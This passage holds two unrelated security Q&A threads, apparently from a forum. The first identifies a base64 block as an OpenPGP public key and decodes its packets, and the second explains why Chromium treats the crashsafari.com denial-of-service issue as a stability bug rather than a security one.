    +FS0wbuzFzB2gb8AvEGevzF/hQXOf3r8QzUQoEZ14pigNu/arlXzEuzXJXXT/AQ
    nAzbVENoFrhojxqEU7RxH8J4nao8OfpYfL7w3T7PC3nFFSTYSwvYItGkl9DPPiZ
    GWZTrb6VfpFGNLHwCoLOaf8ShsAIAAA==

I thought that this should be a length 4096 RSA key but it's the wrong length. What I really want to do is to use this public key to verify a signature. Would anyone be able be help shed some light on what format this is?

This is base64 (but not full 'armor') of a public key block in OpenPGP (rfc4880 et pred) format used by GPG. Aside: there is no such thing as opengpg; PGP was the original software by Phil Zimmerman and the company he turned it over to, OpenPGP is the standard, and GNU Privacy Guard aka GnuPG aka GPG implements that standard, as also does BouncyCastle.

OpenPGP and thus GPG key blocks include much more than just the raw crypto key; in particular public keys (including this one) almost always are attached to a user-id and carry one or more signatures -- at least a 'self-signature' by the key or its parent, and often signatures by other (trusted) users to form the 'web of trust'. See 11.1 in the linked RFC for an overview.

After converting this base64 to binary, gpg --list-packets decodes it as:

:public key packet:
        version 4, algo 1, created 1484099607, expires 0
        pkey[0]: [2048 bits]
        pkey[1]: [17 bits]
        keyid: 1163CD81B25C13AC
:user ID packet: "Chris Zheng (czheng) <czheng@atlassian.com>"
:signature packet: algo 1, keyid 1163CD81B25C13AC
        version 4, created 1484099607, md5len 0, sigclass 0x13
        digest algo 8, begin of digest cb ed
        hashed subpkt 2 len 4 (sig created 2017-01-11)
        hashed subpkt 27 len 1 (key flags: 03)
        hashed subpkt 11 len 6 (pref-sym-algos: 9 8 7 3 2 1)
        hashed subpkt 21 len 5 (pref-hash-algos: 8 2 9 10 11)
        hashed subpkt 22 len 3 (pref-zip-algos: 2 3 1)
        hashed subpkt 30 len 1 (features: 01)
        hashed subpkt 23 len 1 (key server preferences: 80)
        subpkt 16 len 8 (issuer key ID 1163CD81B25C13AC)
        data: [2046 bits]
:trust packet: flag=00 sigcache=00

As you can see it is a 2048-bit RSA key, not 4096-bit. The algo in a pubkey packet or a signature packet is OpenPGP's encoding of a pubkey algorithm and 1 is RSA, see section 9.1.

I'm not sure how knowing the format helps you verify a signature, but that's what you asked.


How come Chrome developers aren't taking any initiative against crashsafari.com? How come Chrome developers aren't taking any initiative against crashsafari.com ?
Its a know vulnerability so they should patch it. Shouldn't they ?
By this I  mean they should be 'defensive' and patch the browser, I don't mean they should 'attack the website' - for those who might misunderstand my question.

There are two issues for this, 394296 and 581237, which is a duplicate of 394296.

It's not considered a security issue, the reason given is:

  Removing security bits from the bug. As per http://www.chromium.org/developers/severity-guidelines, this is not a security bug.

  Since this is just a generic DoS in the browser due to huge amount of IPC messages coming in, I'm unassigning myself from it for anyone interested in tackling this problem.

From the linked document:

  The security FAQ covers many of the cases that we do not consider to be security bugs, such as denial of service.

And why don't they consider DOS a security issue? See here:

  Are denial of service issues considered security bugs?

  No. While they are an inconvenience, we treat them as stability issues rather than security vulnerabilities, and they are not considered under the security VRP. That said, if you find a reproducible crash, we still encourage you to report it. The severity guidelines outline the types of bugs that are considered security vulnerabilities in more detail.

So even though it is not considered a security issue, it is considered a bug and assigned to a developer.